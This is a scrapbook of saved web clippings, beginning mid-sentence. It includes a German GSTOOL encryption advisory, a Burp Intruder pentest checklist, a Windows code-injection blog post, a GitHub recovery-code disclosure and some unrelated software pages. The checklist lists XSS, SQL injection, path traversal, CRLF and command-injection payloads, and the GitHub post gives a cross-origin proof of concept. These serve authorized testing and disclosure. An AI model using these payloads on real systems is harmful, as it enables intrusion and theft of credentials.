allows you to reproduce several MITM, DoS and DDoS attack scenarios, comes
with a clusterable remote daemon and an interactive attack assistant.

# jsf-includeviewparams-security-hole-example - example project showing the
includeViewParams security hole of JSF - Google Project Hosting

**Created:**| _12/6/2011 9:57:05 AM_  
---|---  
**Updated:**| _12/6/2011 9:57:05 AM_  
**Author:**| __  
**Tags:**| _Java vulnerability poc_  
  
jsf-includeviewparams-security-hole-example

# Advisory: Unsichere Verschlüsselung bei GSTOOL | Jan Schejbal
**Created:**| _9/11/2013 3:11:54 PM_  
---|---  
**Updated:**| _9/11/2013 3:11:54 PM_  
**Author:**| __  
**Tags:**| _crypto LOLZ_  
  

# **A** dvisory: Unsichere Verschlüsselung bei GSTOOL****

**=== Betroffene Produkte ===**  
Betroffen ist die Verschlüsselungsfunktion des GSTOOL in den Versionen 3**.**
0 bis 4**.** 7 \(einschließlich\) sowie die mit diesen Versionen erstellten
Schlüssel und damit verschlüsselte Dateien**.** Die Version 4**.** 8 \(auch
bekannt als GSTOOL 4.5, 4.6 oder 4.7 Service Pack 3\) ist nicht betroffen, da
in dieser Version die Verschlüsselungsfunktion entfernt wurde**.** Nicht
betroffen ist die Kernfunktion des GSTOOL, das erstellen von
Sicherheitskonzepten**.** Nur Anwender, die die Verschlüsselungsfunktion
nutzen, sind betroffen**.**

Das GSTOOL unterstützt Anwender bei Erstellung, Verwaltung und Fortschreibung
von Sicherheitskonzepten entsprechend dem IT-Grundschutz und wird vor allem
von öffentlichen Stellen und Dienstleistern eingesetzt**.** Die
Verschlüsselungsfunktion ist lediglich eine Zusatzfunktion, wird durch die
entdeckten Sicherheitslücken aber weitgehend unwirksam: Angreifer können mit
alten GSTOOL-Versionen verschlüsselte Dateien innerhalb weniger Minuten mit
einem gewöhnlichen Computer ohne Kenntnis des Schlüssels entschlüsseln**.**
Ursache ist die unsachgemäße Schlüsselerzeugung durch falsche Verwendung eines
Zufallszahlengenerators**.** Diese Versionen 3**.** 0-4.7 des GSTOOLs wurden
von Steria Mummert Consulting im Auftrag und Namen des BSI entwickelt**.**
<http://de.wikipedia.org/wiki/GSTOOL >

Nicht betroffen ist die Sicherheit der Blockchiffre “CHIASMUS” an sich, da es
sich um Implementierungsfehler in GSTOOL handelt**.** Das Produkt “CHIASMUS
für Windows” verwendet eine unabhängige Implementierung und wir vermuten, dass
es nicht von dieser Schwachstelle betroffen ist

**=== Problembeschreibung ===**  
Die kryptographischen Schlüssel werden mit einem ungeeigneten Verfahren
erzeugt, wodurch die Stärke der Schlüssel auf maximal 31 Bit \(in der Praxis
meist deutlich weniger\) beschränkt wird**.** Dadurch können die Schlüssel
innerhalb von Minuten, meist aber in wenigen Sekunden, mittels eines
angepassten Brute-Force-Angriffs bestimmt werden**.** Die mit den betroffenen
Versionen von GSTOOL verschlüsselten Dateien können somit mit minimalem
Aufwand auch ohne Kenntnis des Schlüssels entschlüsselt werden**.**

Weitere Probleme sind die Verwendung der Betriebsart ECB für die Blockchiffre
sowie das Fehlen von Integritäts- und Plausibilitätsprüfungen für Dateien und
Schlüssel**.**

**=== Gegenmaßnamen ===**  
Die Verschlüsselungsfunktion enthält mehre Fehler, so dass das Problem nicht
einfach zu beheben ist**.** Das BSI hat sich dafür entschlossen, die Funktion
ganz aus GSTOOL zu entfernen**.** Wir halten das für eine sehr gute
Entscheidung. Anwender sollten davon ausgehen, dass ihre Chiffrate
kompromittiert sind, und sie so weit möglich dort löschen, wo Dritte
potentiell Zugang zu den Chiffraten haben \(Cloud-Anbieter, Dropbox,
unverschlüsselte Laptop-Festplatten, Tablet und Smartphones\)**.**

Als Alternative bleibt für öffentliche Stellen der Einsatz von “CHIASMUS für
Windows”**.** Die Software ist allerdings nicht öffentlich zugänglich und der
Quellcode wurde nicht veröffentlicht, so dass wir die Sicherheit dieser
Software nicht beurteilen können**.** Die Dateiformate sind ebenfalls nicht
kompatibel.

Als beste Lösung sehen wir den Einsatz von Festplattenverschlüsselungssoftware
\(FDE\) für Computer, auf denen mit GSTOOL gearbeitet wird, sowie den Einsatz
von GnuPG/Gpg4win für das sichere Verschicken von GSTOOL-Datenbanken**.** Die
Software ist kostenlos nutzbar, der Quelltext ist öffentlich einsehbar, und
die Entwicklung wurde vom BSI gefördert**.** Das BSI selbst empfiehlt dieses
Tool explizit: https://www.bsi.bund**.**
de/DE/Themen/ProdukteTools/Gpg4win/gpg4win\_node.html

**=== Beteiligte ===**  
Jan Schejbal  
Erik Tews  
Julian Wälde

**=== Ähnliche Forschung ===**  
Christian Gresser berichtete in seinem Blog “Mitternachtshacking” bereits 2008
über die Verwendung der Betriebsart ECB: http://www.mitternachtshacking**.**
de/blog/727-snake-oil-alarm-chiasmus-im-gstool

Wie uns nachträglich bekannt wurde, hat Felix Schuster \(Ruhr-Uni­ver­si­tät
Bo­chum\) bereits im Jahr 2009 dieses Problem unabhängig von unserer Forschung
entdeckt**.** Da das BSI nach einer anfängliche Kontaktaufnahme eine Analyse
des GSTOOL durch ihn vehement ablehnte, wurde die Arbeit nicht veröffentlicht
und das BSI nicht über die Ergebnisse informiert**.** Eine Präsentation seiner
Ergebnisse kann seit Kurzem unter http://prezi.com/bzyvzzdsxtkm/ubicrypt-chm/
abgerufen werden**.**

GSTOOL-Chiasmus-Chiffrate wurden laut Felix Schuster beim Hack**.** lu CTF
2011 als eine der Aufgaben verwendet und von einem Teilnehmer erfolgreich
geknackt, welcher vermutlich das BSI kontaktiert hat**.** Details sind uns
leider nicht bekannt.

Sofern andere Forscher sich ebenfalls mit dem Thema beschäftigt und/oder das
BSI kontaktiert haben, würden wir uns über eine Kontaktaufnahme freuen –
Kontaktdaten siehe <http://www.janschejbal**.** de/impressum.shtml >.

**=== Patch ===**  
Das BSI hat in einem Advisory am 25**.** 11.2011 dazu geraten, die
Verschlüsselungsfunktion nicht zu verwenden, alternative
Verschlüsselungslösungen einzusetzen und evtl**.** öffentlich verfügbare
verschlüsselte Dateien zurückzuziehen**.** Das Advisory ist inzwischen nur
noch auf Drittseiten auffindbar, z. B. <http://goo**.** gl/lVoHL >, die
Empfehlungen sind jedoch korrekt**.**

In der Version 4.8 \(auch bekannt als “Servicepack 3 für GSTOOL 4**.** 5″\)
wurde die Verschlüsselungsfunktion deaktiviert. <http://goo**.** gl/3Sjb5 >

**=== Timeline ===**  
Alle Ereignisse in chronologischer Reihenfolge \(nicht der Reihenfolge in der
sie uns bekannt wurden\):

2008-09-24 Blog-Posting von Chrisitan Gresser, Hinweis darauf dass die
Verschlüsselung von GSTOOL nicht vollständig sicher ist**.**  
2009 Erste Arbeiten von Felix Schuster, Anfrage beim BSI ob eien
Sicherheitsanalyse von GSTOOL erwünscht ist, Anfrage wurde abgelehnt**.**  
2011-09-19 hack.lu CTF  
2011 Erste Arbeiten von uns, Analyse**.** Dabei wurden die Schwachstellen der
Implementierung entdeckt**.**  
2011-11-14 Kontaktaufnahme mit dem BSI, Demonstration der Lücke  
später exakte Fehlerbeschreibung \(telefonisch\)  
2011-11-25 Advisory des Herstellers, Ankündigung Servicepack

Weitere Kommunikation und Ratschläge zur Fehlerbehebung

2011-12-06 Hinweis von Seiten des BSI, dass sie Reverse Engineering bei GSTOOL
ihrer Meinung nach nicht erlaubt ist und Bitte, von der Veröffentlichung von
Analyseergebnissen der Chiffre abzusehen**.**

2011-2013 Mehrfache Statusnachfragen unsererseits

2013-06-06 \(ca**.**\) Erscheinen des Servicepacks, keine
Benachrichtigung**.**  
2013-07-22 UbiCrypt Summerschool in Bochum mit Vortrag von Felix Schuster  
2013-09-11 Veröffentlichung dieses Advisories

About these ads

****

# IntruderPayloads - A Collection Of Burpsuite Intruder Payloads, Fuzz Lists
And File Uploads

**Created:**| _3/7/2018 8:30:05 AM_  
---|---  
**Updated:**| _3/7/2018 8:30:05 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec security tools_  
  

  

# IntruderPayloads - A Collection Of Burpsuite Intruder Payloads, Fuzz Lists
And File Uploads

<img src='img/burpsuite.png' width='576' height='346' />

A collection of Burpsuite Intruder payloads and fuzz lists and pentesting
methodology. To pull down all 3rd party repos, run install.sh in the same
directory of the IntruderPayloads folder.  
  
Author: 1N3@CrowdShield https://crowdshield.com  
  
**PENTEST METHODOLOGY v2.0**  
  
**BASIC PASSIVE AND ACTIVE CHECKS:**

  * Burpsuite Spider with intelligent form submission
  * Manual crawl of website through Burpsuite proxy and submitting INJECTX payloads for tracking
  * Burpsuite passive scan
  * Burpsuite engagement tools > Search > `<form|<input|url=|path=|load=|INJECTX|Found|<!--|Exception|Query|ORA|SQL|error|Location|crowdshield|xerosecurity|username|password|document\.|location\.|eval\(|exec\(|\?wsdl|\.wsdl`
  * Burpsuite engagement tools > Find comments
  * Burpsuite engagement tools > Find scripts
  * Burpsuite engagement tools > Find references
  * Burpsuite engagement tools > Analyze target
  * Burpsuite engagement tools > Discover content
  * Burpsuite Intruder > file/directory brute force
  * Burpsuite Intruder > HTTP methods, user agents, etc.
  * Enumerate all software technologies, HTTP methods, and potential attack vectors
  * Understand the function of the site, what types of data is stored or valuable and what sorts of functions to attack, etc.

<img src='img/5962_faraday-728x90+%282%29.png' width='576' height='71' />

  
**ENUMERATION:**

  * OPERATING SYSTEM
  * WEB SERVER
  * DATABASE SERVERS
  * PROGRAMMING LANGUAGES
  * PLUGINS/VERSIONS
  * OPEN PORTS
  * USERNAMES
  * SERVICES
  * WEB SPIDERING
  * GOOGLE HACKING

**VECTORS:**

  * INPUT FORMS
  * GET/POST PARAMS
  * URI/REST STRUCTURE
  * COOKIES
  * HEADERS

**SEARCH STRINGS:**  
Just some helpful regex terms to search for passively using Burpsuite or any
other web proxy...

[code]

    fname|phone|id|org_name|name|email
[/code]

  
**QUICK ATTACK STRINGS:**  
Not a complete list by any means, but when you're manually testing and walking
through sites and need a quick copy/paste, this can come in handy...

[code]

    Company
    First Last
    username
    username@mailinator.com
    Password123$
    +1416312384
    google.com
    https://google.com
    //google.com
    .google.com
    https://google.com/.injectx/rfi_vuln.txt
    https://google.com/.injectx/rfi_vuln.txt?`whoami`
    https://google.com/.injectx/rfi_vuln.txt.png
    https://google.com/.injectx/rfi_vuln.txt.html
    12188
    01/01/1979
    4242424242424242
    INJECTX
    '>"></INJECTX>(1)
    javascript:alert(1)//
    "><img/onload=alert(1)>' -- 
    "></textarea><img/onload=alert(1)>' -- 
    INJECTX'>"><img/src="https://google.com/.injectx/xss_vuln.png"></img>
    '>"><iframe/onload=alert(1)></iframe>
    INJECTX'>"><ScRiPt>confirm(1)<ScRiPt>
    "></textarea><img/onload=alert(1)>' -- // INJECTX <!-- 
    "><img/onload=alert(1)>' -- // INJECTX <!-- 
    INJECTX'"><h1>X<!-- 
    INJECTX"><h1>X
    en%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2020%0A%3Chtml%3EINJECTX%3C%2Fhtml%3E%0A%0A
    %0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2020%0A%3Chtml%3EINJECTX%3C%2Fhtml%3E%0A%0A
    ../../../../../../../../../../../etc/passwd
    {{4+4}}
    sleep 5; sleep 5 || sleep 5 | sleep 5 & sleep 5 && sleep 5
    admin" or "1"="1"-- 
    admin' or '1'='1'-- 
    firstlastcompany%0a%0d
[/code]

  
**OWASP TESTING CHECKLIST:**

  * Spiders, Robots and Crawlers IG-001
  * Search Engine Discovery/Reconnaissance IG-002
  * Identify application entry points IG-003
  * Testing for Web Application Fingerprint IG-004
  * Application Discovery IG-005
  * Analysis of Error Codes IG-006
  * SSL/TLS Testing \(SSL Version, Algorithms, Key length, Digital Cert. Validity\) - SSL Weakness CM‐001
  * DB Listener Testing - DB Listener weak CM‐002
  * Infrastructure Configuration Management Testing - Infrastructure Configuration management weakness CM‐003
  * Application Configuration Management Testing - Application Configuration management weakness CM‐004
  * Testing for File Extensions Handling - File extensions handling CM‐005
  * Old, backup and unreferenced files - Old, backup and unreferenced files CM‐006
  * Infrastructure and Application Admin Interfaces - Access to Admin interfaces CM‐007
  * Testing for HTTP Methods and XST - HTTP Methods enabled, XST permitted, HTTP Verb CM‐008
  * Credentials transport over an encrypted channel - Credentials transport over an encrypted channel AT-001
  * Testing for user enumeration \- User enumeration AT-002
  * Testing for Guessable \(Dictionary\) User Account - Guessable user account AT-003
  * Brute Force Testing - Credentials Brute forcing AT-004
  * Testing for bypassing authentication schema - Bypassing authentication schema AT-005
  * Testing for vulnerable remember password and pwd reset - Vulnerable remember password, weak pwd reset AT-006
  * Testing for Logout and Browser Cache Management - - Logout function not properly implemented, browser cache weakness AT-007
  * Testing for CAPTCHA - Weak Captcha implementation AT-008
  * Testing Multiple Factors Authentication - Weak Multiple Factors Authentication AT-009
  * Testing for Race Conditions - Race Conditions vulnerability AT-010
  * Testing for Session Management Schema - Bypassing Session Management Schema, Weak Session Token SM-001
  * Testing for Cookies attributes - Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity SM-002
  * Testing for Session Fixation - Session Fixation SM-003
  * Testing for Exposed Session Variables - Exposed sensitive session variables SM-004
  * Testing for CSRF - CSRF SM-005
  * Testing for Path Traversal - Path Traversal AZ-001
  * Testing for bypassing authorization schema - Bypassing authorization schema AZ-002
  * Testing for Privilege Escalation \- Privilege Escalation AZ-003
  * Testing for Business Logic - Bypassable business logic BL-001
  * Testing for Reflected Cross Site Scripting - Reflected XSS DV-001
  * Testing for Stored Cross Site Scripting - Stored XSS DV-002
  * Testing for DOM based Cross Site Scripting - DOM XSS DV-003
  * Testing for Cross Site Flashing - Cross Site Flashing DV-004
  * SQL Injection - SQL Injection DV-005
  * LDAP Injection - LDAP Injection DV-006
  * ORM Injection - ORM Injection DV-007
  * XML Injection - XML Injection DV-008
  * SSI Injection - SSI Injection DV-009
  * XPath Injection - XPath Injection DV-010
  * IMAP/SMTP Injection - IMAP/SMTP Injection DV-011
  * Code Injection - Code Injection DV-012
  * OS Commanding - OS Commanding DV-013
  * Buffer overflow - Buffer overflow DV-014
  * Incubated vulnerability - Incubated vulnerability DV-015
  * Testing for HTTP Splitting/Smuggling - HTTP Splitting, Smuggling DV-016
  * Testing for SQL Wildcard Attacks \- SQL Wildcard vulnerability DS-001
  * Locking Customer Accounts - Locking Customer Accounts DS-002
  * Testing for DoS Buffer Overflows - Buffer Overflows DS-003
  * User Specified Object Allocation - User Specified Object Allocation DS-004
  * User Input as a Loop Counter - User Input as a Loop Counter DS-005
  * Writing User Provided Data to Disk - Writing User Provided Data to Disk DS-006
  * Failure to Release Resources - Failure to Release Resources DS-007
  * Storing too Much Data in Session - Storing too Much Data in Session DS-008
  * WS Information Gathering \- N.A. WS-001
  * Testing WSDL - WSDL Weakness WS-002
  * XML Structural Testing - Weak XML Structure WS-003
  * XML content-level Testing - XML content-level WS-004
  * HTTP GET parameters/REST Testing - WS HTTP GET parameters/REST WS-005
  * Naughty SOAP attachments - WS Naughty SOAP attachments WS-006
  * Replay Testing - WS Replay Testing WS-007
  * AJAX Vulnerabilities - N.A. AJ-001
  * AJAX Testing - AJAX weakness AJ-002

**LOW SEVERITY:**  
A list of low severity findings that are likely out of scope for most bug
bounty programs but still helpful to reference for normal web penetration
tests.

  * Descriptive error messages \(e.g. Stack Traces, application or server errors\).
  * HTTP 404 codes/pages or other HTTP non-200 codes/pages.
  * Banner disclosure on common/public services.
  * Disclosure of known public files or directories, \(e.g. robots.txt\).
  * Click-Jacking and issues only exploitable through click-jacking.
  * CSRF on forms which are available to anonymous users \(e.g. the contact form\).
  * Logout Cross-Site Request Forgery \(logout CSRF\).
  * Presence of application or web browser ‘autocomplete’ or ‘save password’ functionality.
  * Lack of Secure and HTTPOnly cookie flags.
  * Lack of Security Speedbump when leaving the site.
  * Weak Captcha / Captcha Bypass
  * Username enumeration via Login Page error message
  * Username enumeration via Forgot Password error message
  * Login or Forgot Password page brute force and account lockout not enforced.
  * OPTIONS / TRACE HTTP method enabled
  * SSL Attacks such as BEAST, BREACH, Renegotiation attack
  * SSL Forward secrecy not enabled
  * SSL Insecure cipher suites
  * The Anti-MIME-Sniffing header X-Content-Type-Options
  * Missing HTTP security headers
  * Security best practices without accompanying Proof-of-Concept exploitation
  * Descriptive error messages \(e.g. Stack Traces, application or server errors\).
  * HTTP 404 codes/pages or other HTTP non-200 codes/pages.
  * Denial of Service Attacks.
  * Fingerprinting / banner disclosure on common/public services.
  * Disclosure of known public files or directories, \(e.g. robots.txt\).
  * Clickjacking and issues only exploitable through clickjacking.
  * CSRF on non-sensitive forms.
  * Logout Cross-Site Request Forgery \(logout CSRF\).
  * Presence of application or web browser ‘autocomplete’ or ‘save password’ functionality.
  * Lack of Secure/HTTPOnly flags on non-sensitive Cookies.
  * Lack of Security Speedbump when leaving the site.
  * Weak Captcha / Captcha Bypass
  * Login or Forgot Password page brute force and account lockout not enforced.
  * OPTIONS HTTP method enabled
  * HTTPS Mixed Content Scripts
  * Known vulnerable libraries
  * Attacks on Third Party Ad Services
  * Username / email enumeration via Forgot Password or Login page
  * Missing HTTP security headers
  * Strict-Transport-Security Not Enabled For HTTPS
  * X-Frame-Options
  * X-XSS-Protection
  * X-Content-Type-Options
  * Content-Security-Policy, X-Content-Security-Policy, X-WebKit-CSP
  * Content-Security-Policy-Report-Only
  * SSL Issues, e.g.
  * SSL Attacks such as BEAST, BREACH, Renegotiation attack
  * SSL Forward secrecy not enabled
  * SSL weak / insecure cipher suites
  * Lack of SPF records \(Email Spoofing\)
  * Auto-complete enabled on password fields
  * HTTP enabled
  * Session ID or Login Sent Over HTTP
  * Insecure Cookies
  * Cross-Domain.xml Allows All Domains
  * HTML5 Allowed Domains
  * Cross Origin Policy
  * Content Sniffing Not Disabled
  * Password Reset Account Enumeration
  * HTML Form Abuse \(Denial of Service\)
  * Weak HSTS Age \(86,000 or less\)
  * Lack of Password Security Policy \(Brute Forcable Passwords\)
  * Physical Testing
  * Denial of service attacks
  * Resource Exhaustion attacks
  * Issues related to rate limiting
  * Login or Forgot Password page brute force and account lockout not enforced
  * api\*.netflix.com listens on port 80
  * Cross-domain access policy scoped to \*.netflix.com
  * Username / Email Enumeration
  * via Login Page error message
  * via Forgot Password error message
  * via Registration
  * Weak password
  * Weak Captcha / Captcha bypass
  * Lack of Secure/HTTPOnly flags on cookies
  * Cookie valid after logout
  * Cookie valid after password reset
  * Cookie expiration
  * Forgot password autologin
  * Autologin token reuse
  * Same Site Scripting
  * SSL Issues, e.g.
  * SSL Attacks such as BEAST, BREACH, Renegotiation attack
  * SSL Forward secrecy not enabled
  * SSL weak / insecure cipher suites
  * SSL vulnerabilities related to configuration or version
  * Descriptive error messages \(e.g. Stack Traces, application or server errors\).
  * HTTP 404 codes/pages or other HTTP non-200 codes/pages.
  * Fingerprinting/banner disclosure on common/public services.
  * Disclosure of known public files or directories, \(e.g. robots.txt\).
  * Clickjacking and issues only exploitable through clickjacking.
  * CSRF on forms that are available to anonymous users \(e.g. the contact form\).
  * Logout Cross-Site Request Forgery \(logout CSRF\).
  * Missing CSRF protection on non-sensitive functionality
  * Presence of application or web browser ‘autocomplete’ or ‘save password’ functionality.
  * Incorrect Charset
  * HTML Autocomplete
  * OPTIONS HTTP method enabled
  * TRACE HTTP method enabled
  * Missing HTTP security headers, specifically
  * \(https://www.owasp.org/index.php/List\_of\_useful\_HTTP\_headers\), e.g.
  * Strict-Transport-Security
  * X-Frame-Options
  * X-XSS-Protection
  * X-Content-Type-Options
  * Content-Security-Policy, X-Content-Security-Policy, X-WebKit-CSP
  * Content-Security-Policy-Report-Only
  * Issues only present in old browsers/old plugins/end-of-life software browsers
  * IE < 9
  * Chrome < 40
  * Firefox < 35
  * Safari < 7
  * Opera < 13
  * Vulnerability reports related to the reported version numbers of web servers, services, or frameworks

**Download IntruderPayloads**

  

# Hexacorn | Blog
**Created:**| _5/10/2019 8:26:43 AM_  
---|---  
**Updated:**| _5/10/2019 8:26:43 AM_  
**Author:**| __  
**Tags:**| _bookmark windows_  
  

  

## WordWarper – \(not a \) new code injection trick

April 23, 2019 _inCode Injection _

**Update**

Internet is a cool place, because luckily there are some good souls who points
us in a right direction. The technique I described below was presented as
early as July 2003 by Oliver Lavery from iDefense\! Thanks to modexp for
pointing it out.

**Old Post**

This is a trivial case of yet another functionality available that can help to
execute code in a remote process. Same as with PROPagate technique, it only
affects selected windows, but it can of course be used as an evasion,
especially in early stages of compromise.

Edit controls \(including Rich Edit\) are very common Windows controls present
in most applications. They are either embedded directly, or as subclassed
windows. When they display text in multiline mode they use so-called
EditWordBreakProc callback function. Anytime the control needs to do something
related to word wrapping the procedure will be called.

One can modify this function for any window by sending EM\_SETWORDBREAKPROC
message to it. If windows is an Edit control or its descendant, funny things
may happen.

In order to see which windows are susceptible to such modification I created a
simple demo program that basically sends this message to every window on my
desktop.

After looking around and running some potential victim programs I quickly
found a good candidate to demo the technique: The Sticky Notes \(StikyNot\).

I ran it under the debugger to catch the moment it crashes, and then ran my
test program. It changed the procedure for every window to 0x12345678.

And this is what happens when you start typing in Sticky Notes after the
procedure was changed:

<img src='img/WordWarper.gif' width='495' height='256' />

I bet there are more programs that can be targeted this way, but as usual, I
leave it as a home work to the reader :-

Modexp shared a nice POC here.  

Share this :\)

  * __
  * __
  * __
  * __
  * __
  * __
  * __

Comments Off on WordWarper – \(not a \) new code injection trick

Comments are closed.

# Download Omea Pro

**Created:**| _1/7/2010 1:27:47 PM_  
---|---  
**Updated:**| _1/7/2010 1:27:51 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

<img src='img/Temp2_2373.gif' alt='JetBrains home' />

  * Home
    *   * Products
    *   * Downloads
    *   * Support
    *   * Community
    *   * Partners
    *   * Company
    *   * Cart
  * 

# Omea™ Family of Products

  * Omea Pro
  * Omea Reader
  * Screenshots
  * Features
  * Tutorials
  * User Scenarios
  * Plugins
  * Download

Home<img src='img/Temp2_2371.gif' alt='>' /> Products<img
src='img/Temp2_2371.gif' alt='>' /> Omea<img src='img/Temp2_2371.gif' alt='>'
/> Download<img src='img/Temp2_2371.gif' alt='>' /> Download Omea Pro

##### Download

  * Download Omea Pro
  * Download Omea Reader
  * System Requirements
  * Early Access Releases
  * FAQ

  

Other Downloads:

    For Omea Pro Users: 
    Omea Pro Plugins
    For Developers: 
    Open Source Code
Related links:

    Community Center
  * download

## Download Omea Pro

No license key is required. Just download and run\!

<img src='img/Temp2_2374.gif' alt='Omea Pro' />

Omea Pro 2.2

build number 1098 \(6.75 Mb\)

<img src='img/Temp2_2372.gif' width='161' height='26' alt='Press to start
download' />  
  
**No license key is required. Just download and run\!**

To install Omea Pro successfully read the Installation Instructions

Products

    IntelliJ IDEA
    ReSharper
    dotTrace Profiler
    TeamCity
    RubyMine
    YouTrack
    WebIDE
    Omea
    MPS
    Contact: Sales Department, Webmaster
Help

    Developer Community
    Support
    IntelliJ IDEA Web Help
    ReSharper Web Help
    RubyMine Web Help
    
    Privacy Policy
    Terms of Use
    Site map
Company

    About
    Contact Us
    Customer List
    Testimonials
    Blogs
    ©2000-2009 JetBrains. All rights reserved 
Developed with Web IDE

# Security-Shell: RIPS v.0.4.0 Released

**Created:**| _6/8/2011 1:38:22 PM_  
---|---  
**Updated:**| _6/8/2011 1:38:22 PM_  
**Author:**| __  
**Tags:**| _analysis php static_  
  

##

### RIPS v.0.4.0 Released

<img src='img/stats.jpg' />  
A static source code analyser for vulnerabilities in PHP scripts  
  
There has been a couple of bugfixes and improving especially regarding file
inclusions which are vital for correct analysis. Also RIPS now tries to
analyse SQL queries on quotes before a decision on correct securing is made.
However this feature is still not 100% working correctly in all cases.  
Another important feature is that code snippets that belong to the same
vulnerability are now grouped and titled with the vulnerability category. In
earlier versions they were unconnected and one had to jump between several
snippets. With this it is now possible to look at specific vulnerability
categories and to hide unimportant ones. This can be done by clicking on the
categories name in the statistics window that also has been improved with a
pie chart \(HTML5 for the win \)  
  

# Cross-origin brute-forcing of Github SAML and 2FA recovery codes

**Created:**| _5/31/2017 6:09:51 PM_  
---|---  
**Updated:**| _5/31/2017 6:09:51 PM_  
**Author:**| __  
**Tags:**| _auth oauth saml_  
  

  

## Tuesday, 30 May 2017

###  Cross-origin brute-forcing of Github SAML and 2FA recovery codes

Yesterday while reading my Twitter stream I found this interesting article
about downloading GitHub SSO bypass codes. Same as Yasin Soliman I was invited
to a Github pre-release of the organisation SAML single sign-on \(SSO\)
private program. And same as him I found an issue in the same endpoint. So I
thought to write a quick blog post about it.

Github already published a tl;dr about this,

  
  

<img src='img/Screen+Shot+2017-05-30+at+9.18.35+AM.png' width='397'
height='400' />

  
  
I will try to fill the blanks here.  
  

As mentioned by Yasin, Github offers an endpoint where privileged users can
recover bypass codes. These recovery codes were accessible for download as
plaintext and had the content-type as text/plain , something like:

  

  

1 | cd0b2-ec8fc  
---|---  
2 | d4ca7-cbb2f  
3 | cd0b2-ec8fc  
4 | dd8fd-a90f9  
5 | dfaf5-bfb21  
6 | aed4b-47351  
7 | d1950-f654a  
8 | b05b8-aa6af  
9 | fdff0-a95f4  
10 | d347b-eff1d  
11 | a2933-a8bed  
12 | d775c-c505c  
13 | cb331-119e1  
14 | d8f56-21e57  
view raw recovery-codes.txt hosted with ❤ by GitHub

  

  

What immediately caught my attention was that the format of the code forms
\(with some exceptions\) a valid JavaScript file with lines in the format of
XXXXX-XXXXX, ten hex digits separated by a hyphen.**This is interpreted in
JavaScript as the subtraction of two variables\!** This remember an old blog
post of mine where I could possibly exfiltrate information from properties
file formatted in a peculiar way. And another great blog post: Plain text
considered harmful: A cross-domain exploit.  
So I thought I could do something similar here. It did not take long until I
found the right approach.  
  
**Caveat \#1:** also in this case Github sets the X-Content-Type-Options:
nosniff to prevent browsers from interpreting this content as valid JavaScript
or other file types. But while Firefox now added support for nosniff the
browser compatibility is still spotty \(I am looking at you Safari\!\!\).  
  
But without waiting any further HERE is the live POC. The nut of the trick is
to define a valueOf function for the corresponding variable:  
  
  

1 | <script>  
---|---  
2 | var ec8fc = \{  
3 |  valueOf: function \(\) \{  
4 |  alert\("valueOf1"\);  
5 |  return 1;  
6 |  \}  
7 |  \};  
8 | var cd0b2 = \{  
9 |  valueOf: function \(\) \{  
10 |  alert\("valueOf2"\);  
11 |  return 2;  
12 |  \}  
13 |  \};  
14 | // HERE ENUMARATE THEM ALL\!\!   
15 | </script>  
16 | <script src="http://asanso.github.io/github/test.txt"></script>  
17 |   
view raw recovery-code.html hosted with ❤ by GitHub

  
  
**and enumerate them all\!\!**  
  
**Caveat \#2:** We are talking about enumerating/brute-forcing 5 hex digit
variables that requires a considerable effort, but is far from be unfeasible.
A rough calculation tells us that we need to define about 16^5 variables that
are about 1048576\!  
  
****Caveat \#3:**** not all the codes are valid Javascript variable \(e.g. the
one starting with a number are not\). For a random hexadecimal digit that's
six out of sixteen, thus a 37.5% chance.  
  

#  Disclosure timeline

**06-03-2017 -** Reported the issue via Hackerone.  
**07-03-2017 -** Github triaged the issue.****  
**16-03-2017 -** Bounty awarded  
  

#  Acknowledgement

I would like to thank the Github security team, you guys rock, really\!\!  
  
  
Well that's all folks. **For more Javascript trickeryfollow me on Twitter. **  
  
  
  
  
  
  
  

Posted by  Antonio Sanso at 01:36

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

#### No comments:

Post a Comment

  

  *[01:36]: 2017-05-30T01:36:00-07:00

# scikit-learn-contrib/imbalanced-learn

**Created:**| _9/4/2017 9:19:49 AM_  
---|---  
**Updated:**| _9/4/2017 9:19:49 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

<img
src='img/68747470733a2f2f6c616e6473636170652e696f2f6769746875622f7363696b69742d6c6561726e2d636f6e747269622f696d62616c616e6365642d6c6561726e2f6d61737465722f6c616e6473636170652e7376673f7374796c653d666c6174'
width='80' height='20' alt='Landscape' /> <img
src='img/68747470733a2f2f7472617669732d63692e6f72672f7363696b69742d6c6561726e2d636f6e747269622f696d62616c616e6365642d6c6561726e2e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Travis' /> <img
src='img/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f6338773478623772653465756e7476692f6272616e63682f6d61737465723f7376673d74727565'
width='106' height='20' alt='AppVeyor' /> <img
src='img/68747470733a2f2f636f6465636f762e696f2f67682f7363696b69742d6c6561726e2d636f6e747269622f696d62616c616e6365642d6c6561726e2f6272616e63682f6d61737465722f67726170682f62616467652e737667'
width='96' height='20' alt='Codecov' /> <img
src='img/68747470733a2f2f636972636c6563692e636f6d2f67682f7363696b69742d6c6561726e2d636f6e747269622f696d62616c616e6365642d6c6561726e2e7376673f7374796c653d736869656c6426636972636c652d746f6b656e3d3a636972636c652d746f6b656e'
width='102' height='20' alt='CircleCI' /> <img
src='img/14007_68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d322e372d626c75652e737667'
width='76' height='20' alt='Python27' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e352d626c75652e737667'
width='76' height='20' alt='Python35' /> <img
src='img/68747470733a2f2f62616467652e667572792e696f2f70792f696d62616c616e6365642d6c6561726e2e737667'
width='125' height='20' alt='Pypi' /> <img
src='img/68747470733a2f2f6261646765732e6769747465722e696d2f7363696b69742d6c6561726e2d636f6e747269622f696d62616c616e6365642d6c6561726e2e737667'
width='92' height='20' alt='Gitter' />

## imbalanced-learn

imbalanced-learn is a python package offering a number of re-sampling
techniques commonly used in datasets showing strong between-class imbalance.
It is compatible with scikit-learn and is part of scikit-learn-contrib
projects.

### Documentation

Installation documentation, API documentation, and examples can be found on
the documentation.

### Installation

#### Dependencies

